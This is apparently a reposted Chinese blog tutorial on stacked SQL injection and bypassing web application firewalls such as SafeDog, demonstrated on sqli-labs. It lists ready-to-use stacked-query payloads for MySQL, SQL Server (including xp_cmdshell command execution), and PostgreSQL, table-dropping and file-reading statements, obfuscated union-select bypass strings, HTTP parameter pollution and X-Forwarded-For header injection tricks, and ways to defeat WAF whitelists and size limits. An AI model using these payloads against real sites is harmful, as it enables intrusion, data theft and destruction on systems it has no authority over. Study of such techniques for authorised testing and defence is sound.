vlambda博客
学习文章列表

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

前言



SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF的工作原理有一定的理解。


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入

所需知识

SQL注入之堆叠注入及WAF绕过注入



1. 堆叠查询注入


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入

定义


Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行而在真实的运用中也是这样的我们知道在mysql中主要是命令行中每一条语句结尾加表示语句结束这样我们就想到了是不是可以多句一起使用这个叫做stackedinjection。原理在SQL中,分号(;)是用来表示一条sql语句的结束试想一下我们在 ; 结束一个sql语句后继续构造下一条语句会不会一起执行?因此这个想法也就造就了堆叠注入union injection(联合注入)也是将两条语句合并在一起两者之间有什么区别么区别就在于union 或者union all执行的语句类型是有限的可以用来执行查询语句而堆叠注入可以执行的是任意的语句

SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入




SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

局限性

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。




SQL注入之堆叠注入及WAF绕过注入

各个数据库实例介绍(摘自文章链接)本节我们从常用数据库角度出发介绍几个类型的数据库的相关用法数据库的基本操作,增删查改以下列出数据库相关堆叠注入的基本操作

SQL注入之堆叠注入及WAF绕过注入

1. Mysql

SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(1)新建一表 

select * from users where id=1;create table test like users;


SQL注入之堆叠注入及WAF绕过注入

执行成功,我们再去看一下是否新建成功表。

SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(2)删除上面新建的test表

select * from users where id=1;drop table test;


SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(3)查询数据

select * from users where id=1;select 1,2,3;


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(4)加载文件  

select*from users where id=1;select load_file('c:/tmpupbbn.php');


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(4) 修改数据

select * from users where id=1;insert into users(id,username,password) values ('100','new','new');


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入

2. Sql server



SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(1)增加数据表

select * from test;create table sc3(ss CHAR(8));


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(2) 删除数据表

select * from test;drop table sc3;


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(4)查询数据

select 1,2,3;select * from test;


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(5)修改数据

select * from test;update test set name='test' where id=3;


SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(5)sqlserver中最为重要的存储过程的执行

select * from test where id=1;exec master..xp_cmdshell 'ipconfig'


SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入

3. Oracle



SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

上面的介绍中我们已经提及,oracle不能使用堆叠注入,可以从图中看到,当有两条语句在同一行时,直接报错。无效字符。后面的就不往下继续尝试了。


SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入

4. Postgresql

SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(1)新建一个表  

 select * from user_test;create table user_data(id DATE);


SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

可以看到user_data表已经建好。


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(2)删除上面新建的user_data表

select * from user_test;delete from user_data;


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(3)查询数据

select * from user_test;select 1,2,3;


SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

(4) 修改数据

 select * from user_test;update user_test set name='modify' where name='张三';


SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入

2. phpstudy+safedog安装找不到服务解决


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入


参考链接:https://www.freesion.com/article/15621202542/



SQL注入之堆叠注入及WAF绕过注入

3. 市面上常见的waf产品列表分析 wafw00f


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入


工具简介现在网站为了加强自身安全通常都会安装各类防火墙这些防火墙往往会拦截各种扫描请求使得测试人员无法正确判断网站相关信息Kali Linux 提供了一款网站防火墙探测工具 Wafw00f它可以通过发送正常和带恶意代码的 HTTP 请求以探测网站是否存在防火墙并识别防火墙的类型


SQL注入之堆叠注入及WAF绕过注入

WAFW00F 怎么工作

发送正常的 HTTP 请求,然后分析响应,这可以识别出很多 WAF。如果不成功,它会发送一些(可能是恶意的)HTTP 请求,使用简单的逻辑推断是哪一 个 WAF。如果这也不成功,它会分析之前返回的响应,使用其它简单的算法猜测是否有某个 WAF 或者安全解决方案响应了我们的攻击


SQL注入之堆叠注入及WAF绕过注入

参数


它可以检测很多 WAF。想要查看它能检测哪些 WAF,以-l 参数执行 WAFW00F

   

ACE XML Gateway Cisco aeSecure aeSecure AireeCDN Airee Airlock Phion/Ergon Alert Logic Alert Logic AliYunDun Alibaba Cloud Computing Anquanbao Anquanbao AnYu AnYu Technologies Approach Approach AppWall Radware Armor Defense Armor ArvanCloud ArvanCloud ASP.NET Generic Microsoft ASPA Firewall ASPA Engineering Co. Astra Czar Securities AWS Elastic Load Balancer Amazon AzionCDN AzionCDN Azure Front Door Microsoft Barikode Ethic Ninja Barracuda Barracuda Networks Bekchy Faydata Technologies Inc. Beluga CDN Beluga BIG-IP Local Traffic Manager F5 Networks BinarySec BinarySec BitNinja BitNinja BlockDoS BlockDoS Bluedon Bluedon IST BulletProof Security Pro AITpro Security CacheWall Varnish CacheFly CDN CacheFly Comodo cWatch Comodo CyberSecurity CdnNS Application Gateway CdnNs/WdidcNet ChinaCache Load Balancer ChinaCache Chuang Yu Shield Yunaq Cloudbric Penta Security Cloudflare Cloudflare Inc. Cloudfloor Cloudfloor DNS Cloudfront Amazon CrawlProtect Jean-Denis Brun DataPower IBM DenyALL Rohde & Schwarz CyberSecurity Distil Distil Networks DOSarrest DOSarrest Internet Security DotDefender Applicure Technologies DynamicWeb Injection Check DynamicWeb Edgecast Verizon Digital Media Eisoo Cloud Firewall Eisoo Expression Engine EllisLab BIG-IP AppSec Manager F5 Networks BIG-IP AP Manager F5 Networks Fastly Fastly CDN FirePass F5 Networks FortiWeb Fortinet GoDaddy Website Protection GoDaddy Greywizard Grey Wizard Huawei Cloud Firewall Huawei HyperGuard Art of Defense Imunify360 CloudLinux Incapsula Imperva Inc. IndusGuard Indusface Instart DX Instart Logic ISA Server Microsoft Janusec Application Gateway Janusec Jiasule Jiasule Kona SiteDefender Akamai KS-WAF KnownSec KeyCDN KeyCDN LimeLight CDN LimeLight LiteSpeed LiteSpeed Technologies Open-Resty Lua Nginx FLOSS Oracle Cloud Oracle Malcare Inactiv MaxCDN MaxCDN Mission Control Shield Mission Control ModSecurity SpiderLabs NAXSI NBS Systems Nemesida PentestIt NevisProxy AdNovum NetContinuum Barracuda Networks NetScaler AppFirewall Citrix Systems Newdefend NewDefend NexusGuard Firewall NexusGuard NinjaFirewall NinTechNet NullDDoS Protection NullDDoS NSFocus NSFocus Global Inc. OnMessage Shield BlackBaud Palo Alto Next Gen Firewall Palo Alto Networks PerimeterX PerimeterX PentaWAF Global Network Services pkSecurity IDS pkSec PT Application Firewall Positive Technologies PowerCDN PowerCDN Profense ArmorLogic Puhui Puhui Qcloud Tencent Cloud Qiniu Qiniu CDN Reblaze Reblaze RSFirewall RSJoomla! RequestValidationMode Microsoft Sabre Firewall Sabre Safe3 Web Firewall Safe3 Safedog SafeDog Safeline Chaitin Tech. SecKing SecKing eEye SecureIIS BeyondTrust SecuPress WP Security SecuPress SecureSphere Imperva Inc. Secure Entry United Security Providers SEnginx Neusoft ServerDefender VP Port80 Software Shield Security One Dollar Plugin Shadow Daemon Zecure SiteGround SiteGround SiteGuard Sakura Inc. Sitelock TrueShield SonicWall Dell UTM Web Protection Sophos Squarespace Squarespace SquidProxy IDS SquidProxy StackPath StackPath Sucuri CloudProxy Sucuri Inc. Tencent Cloud Firewall Tencent Technologies Teros Citrix Systems Trafficshield F5 Networks TransIP Web Firewall TransIP URLMaster SecurityCheck iFinity/DotNetNuke URLScan Microsoft UEWaf UCloud Varnish OWASP Viettel Cloudrity VirusDie VirusDie LLC Wallarm Wallarm Inc. WatchGuard WatchGuard Technologies WebARX WebARX Security Solutions WebKnight AQTRONIX WebLand WebLand wpmudev WAF Incsub RayWAF WebRay Solutions WebSEAL IBM WebTotem WebTotem West263 CDN West263CDN Wordfence Defiant WP Cerber Security Cerber Tech WTS-WAF WTS 360WangZhanBao 360 Technologies XLabs Security WAF XLabs Xuanwudun Xuanwudun Yundun Yundun Yunsuo Yunsuo Yunjiasu Baidu Cloud Computing YXLink YxLink Technologies Zenedge Zenedge ZScaler Accenture


SQL注入之堆叠注入及WAF绕过注入

命令:


wafw00f 域名/IP

SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入

4. 部分 bypass sqlinject payload


id=1union/*%00*/%23a%0A/*!/*!select1,2,3*/;%23id=-1union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23id=-1%20union%20/*!44509select*/%201,2,3%23id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23id=1/**&id=-1%20union%20select%201,2,3%23*/id=-1%20union%20all%23%0a%20select%201,2,3%23id=-1%20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

WAF及绕过思路

SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入

1. WAF


Web应用防护系统(Web Application Firewall, 简称:WAF)代表了一类新兴的信息安全技术用以解决诸如防火墙一类传统设备束手无策的Web应用安全问题


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型WAF指的是硬件型WAF、云WAF、软件型WAF之类的;而嵌入型WAF指的是网站内置的WAF。非嵌入型WAF对Web流量的解析完全是靠自身的,而嵌入型WAF拿到的Web数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型WAF从Web容器模块型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强。当然,在部署维护成本方面,也是越高的。


如图,就是自带的阿里云盾

SQL注入之堆叠注入及WAF绕过注入

宝塔一键化搭建(大部分非法网站都是使用的宝塔)
安全狗(用的比较多,是因为是免费的)

SQL注入之堆叠注入及WAF绕过注入

不开启全部是因为有些页面会出现误报资源防护

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

流量防护

SQL注入之堆叠注入及WAF绕过注入

网站防护

SQL注入之堆叠注入及WAF绕过注入

漏洞防护

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入

2. WAF绕过-应用层


大小写/关键字替换id=1UnIoN/**/SeLeCT1,user()Hex() bin() 等价于 ascii()Sleep() 等价于 benchmark()Mid() substring() 等价于substr()@@user 等价于 User()@@Version 等价于 version()

各种编码大小写,URL,hex,%0A等

注释使用//----+#//+:%00/!/等

再次循环union==uunionnion

等价替换user()=@@user()and=&or=|ascii=hex等

参数污染?id=1&id=2&id=3

编码解码及加密解密s->%73->%25%37%33hex,unlcode,base64等


更改请求提交方式GET POST COOKIE等POST->multipart/form-data




中间件HPP(HTTP参数污染)  

SQL注入之堆叠注入及WAF绕过注入


HPP是HTTP Parameter Pollution的缩写,意为HTTP参数污染。原理:浏览器在跟服务器进行交互的过程中浏览器往往会在GET/POST请求里面带上参数这些参数会以 名称-值 对的形势出现通常在一个请求中同样名称的参数只会出现一次但是在HTTP协议中是允许同样名称的参数出现多次的比如下面这个链接:http://www.baidu.com?name=aa&name=bb   ,针对同样名称的参数出现多次的情况不同的服务器的处理方式会不一样有的服务器是取第一个参数也就是name=aa。有的服务器是取第二个参数也就是name=bb。有的服务器两个参数都取也就是name=aa,bb  这种特性在绕过一些服务器端的逻辑判断时,非常有用。HPP漏洞,与Web服务器环境、服务端使用的脚本有关如下是不同Web服务器对于出现多个参数时的选择:通过HPP接管账户当网站开发者不熟悉Web服务器对于多参数时如何选择将给攻击者可乘之机HPP能针对客户端和服务端进行攻击
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

HPP参数污染还可以用于绕过某些防火墙对于 SQL注入的检测,例如当Web服务器对多参数都同时选择时,我们可以用以下这种方式绕过某些防火墙:‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍


http://www.baidu.com/index.asp?page=select 1,2,3 from table where id=1http://www.baidu.com/index.asp?page=select 1&page=2,3 from table where id=1

SQL注入之堆叠注入及WAF绕过注入

HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果以参数color=red&color=blue为例

SQL注入之堆叠注入及WAF绕过注入




3. WAF绕过-数据库特性

SQL注入之堆叠注入及WAF绕过注入



SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

1、Mysql技巧

SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入

1)mysql注释符有三种:#、/.../、--...(注意--后面有一个空格,或者为--+)2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]3)特殊符号:%a换行符可结合注释符使用%23%0a,%2d%2d%0a。3)内联注释:/!UnIon12345SelEcT/1,user()//数字范围1000-505404)mysql黑魔法select{xusername}from{x11test.admin};2、SQLServer技巧1)用来注释掉注射后查询的其余部分:/*C语言风格注释SQL注释;00%空字节2)空白符:[0x01-0x20]3)特殊符号:%3a冒号id=1union:select1,2from:admin4)函数变形:如db_name 空白字符


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

3、Oracle技巧

SQL注入之堆叠注入及WAF绕过注入


(1)注释符:--/**/(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]


SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

4.配合FUZZ

SQL注入之堆叠注入及WAF绕过注入


(SQLI FUZZ字典,SQL注入过滤关键字的Fuzz字典)
就是模糊测试,批量测试select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin



SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

3. WAF绕过-逻辑层

SQL注入之堆叠注入及WAF绕过注入


1、逻辑问题1)云waf防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。4)特殊符号%00,部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。比如:id=1 %00 and 1=2 union select 1,2,column_name from information_schema.columns
2、性能问题猜想1:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。猜想2:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug,从而实现绕过。例子1?id=1and(select1)=(Select0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9PS:0xA*10000xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。例子2:?a0=0&a1=1&.....&a100=100&id=1unionselect1,schema_name,3fromINFORMATION_SCHEMA.schemata备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。
3、白名单方式一:IP白名单从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。测试方法:修改http的header来bypasswafX-forwarded-forX-remote-IPX-originating-IPx-remote-addrX-Real-ip方式二:静态资源特定的静态资源后缀请求,常见的静态文件(.js.jpg.swf.css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。http://10.9.9.201/sql.php?id=1http://10.9.9.201/sql.php/1.js?id=1备注:Aspx/php只识别到前面的.aspx/.php后面基本不识别方式三:url白名单为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势涉及资源:https://www.cnblogs.com/backlion/p/9721687.htmlhttps://blog.csdn.net/nzjdsds/article/details/93740686




SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入
SQL注入之堆叠注入及WAF绕过注入

演示案例:

SQL注入之堆叠注入及WAF绕过注入


1. Sqlilabs-Less38-堆叠注入(多语句)在执行select时的sql语句为:SELECT * FROM users WHERE id='$id' LIMIT 0,1可以直接构造如下的payload:http://127.0.0.1/sql/Less-38/index.php?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

SQL注入之堆叠注入及WAF绕过注入

再看数据表中的内容:可以看到less38已经添加。

SQL注入之堆叠注入及WAF绕过注入

2. WAF部署-安全狗,宝塔等waf搭建部署安全狗:📎safedogfwq_Windows_Help.pdf宝塔:https://blog.csdn.net/weixin_43253175/article/details/105752439以已经安装waf的sqlli-labs less2为例

SQL注入之堆叠注入及WAF绕过注入

直接输入payload会被拦截,无法注入

SQL注入之堆叠注入及WAF绕过注入


使用post提交方式即可绕过(前提条件是源码支持该提交方式)

SQL注入之堆叠注入及WAF绕过注入

页面显示不正常,是因为有些代码只支持特定的提交方式,比如该关是使用get提交方式,思路是对的,但是在本关是无法成功的

SQL注入之堆叠注入及WAF绕过注入

将本关源码get接收参数改为post在判断回显位时可以正常注入

SQL注入之堆叠注入及WAF绕过注入

在进行回显位查询信息时,出现报错是因为出现了过滤词database是因为安全狗里面的漏洞防护规则里打开了防止查询数据库相关信息的规则

SQL注入之堆叠注入及WAF绕过注入

将该规则关闭之后可以正常注入

SQL注入之堆叠注入及WAF绕过注入

正常waf是开着的,所以针对拦截数据,我们可以针对数据进行相关的编译

 SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

将源码改为只允许GET进行尝试,发现union不被拦截select也不被拦截union select被拦截说明是 union select关键词的问题

SQL注入之堆叠注入及WAF绕过注入

原因是开启了拦截联合查询的规则

SQL注入之堆叠注入及WAF绕过注入

使用%23是#%0A代表的是一个换行符原理#是为了闭合a ,使用%0A换行是为了将union和select连接起来如果不换行的话union后面的#会将union后面所有的语句注释掉

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

参数污染原理/** */ 注释语句没有执行

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

3. 简要讲解安全狗,宝塔等防护waf策略规则https://blog.csdn.net/cheng1432996862/article/details/100968815?utm_term=waf%E5%B8%B8%E8%A7%81%E8%A7%84%E5%88%99&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~sobaiduweb~default-1-100968815&spm=3001.4430


4. 简要演示安全狗 bypass sqlinject 防护规则eg:当前执行语句:select * from users where id=-1 union select 1,2,3#*/安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/1/**&id-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致的真实数据是-1 union select 1,2,3#*/正常执行sql

5. 实测简易CMS头部注入漏洞Bypass原理分析抓包,注入点:X-Forwarded-For:如:X-Forwarded-For:8.8.8.8' union select 1,2,3,database(),5#

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入

SQL注入之堆叠注入及WAF绕过注入


SQL注入之堆叠注入及WAF绕过注入

点个在看你最好看


我要去复习高数了

看心情更新吧

习桑